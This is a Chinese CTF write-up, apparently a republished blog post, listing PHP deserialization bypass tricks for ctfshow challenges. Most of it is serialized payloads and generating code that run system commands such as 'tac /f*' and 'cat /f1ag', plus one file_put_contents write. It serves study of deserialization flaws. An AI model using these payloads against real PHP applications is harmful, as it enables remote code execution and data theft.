码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【Web】PHP反序列化的一些trick


    目录

    ①__wakeup绕过

    ②加号绕过正则匹配

    ③引用绕过相等

    ④16进制绕过关键词过滤

    ⑤Exception绕过

    ⑥字符串逃逸


    要中期考试乐(悲)

    ①__wakeup绕过


    反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过
    (php5-php5.6.25;php7-php7.0.10)

    ②加号绕过正则匹配

    例题1:web56

    1. $a=new backdoor();
    2. $a->name='system("tac /f*");';
    3. echo serialize($a);
    4. //O:8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
    5. //O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

     payload:

    data=O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

    ③引用绕过相等

    例题2:web57

    用&保证password和secret指向相同的内存引用地址

    1. <?php
    2. class login{
    3. public $username='admin';
    4. public $password;
    5. public $secret;
    6. private $code="system('cat /f1ag');";
    7. public function __wakeup(){
    8. $this->secret = file_get_contents("/f1ag");
    9. }
    10. public function check_login(){
    11. if($this->username = 'admin' && $this->password==$this->secret){
    12. eval($this->code);
    13. }
    14. }
    15. }
    16. $a=new login();
    17. $a->password=&$a->secret;
    18. echo urlencode(serialize($a));
    19. //O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D

    payload:

    data=O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D 

    ④16进制绕过关键词过滤

    反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过(表示支持assic码的hex值)

    举例:

    ?web=O:3:"syc":1:{s:5:"lover";s:56:"file_put_contents('1.php','');";

    当lover被过滤的时候,可以如下绕过

    推荐一个在线平台:

    在线字符串和16进制互转

    ?web=O:3:"syc":1:{S:5:"\6c\6f\76\65\72";s:56:"file_put_contents('1.php','');";

    ⑤Exception绕过

    破坏反序列化结构即可

    例题3:web59

    1. $a=new backdoor();
    2. echo serialize($a);
    3. //O:8:"backdoor":0:{}
    4. //O:8:"backdoor":0:{

    payload:

    data= O:8:"backdoor":0:{

    ⑥字符串逃逸

    例题4:web60

     system->ctfshow(由6变7)

    要逃逸的字符串:

    ";s:1:"a";s:7:"tac /f*";}

    (总长25)

    最终payload:

    m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:7:"tac /f*";}

  • 相关阅读:
    docker-java 用Java操作docker创建容器并运行运行容器
    flink-cdc同步mysql数据到kafka
    ArcGIS 制作科幻风格的轮廓线
    快速排序(递归和非递归两种方法实现)
    vmware workstation设置固定ip的几种方法
    Groovy XML JSON
    【C语言基础】rand()和srand()的使用
    (unicode error) ‘unicodeescape‘ codec can‘t decode bytes in position 2-3
    发现学习的新契机——广东开放大学电大搜题服务
    ZYNQ从放弃到入门(十二)- AMP — Zynq 上的非对称多核处理器
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/134474299
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号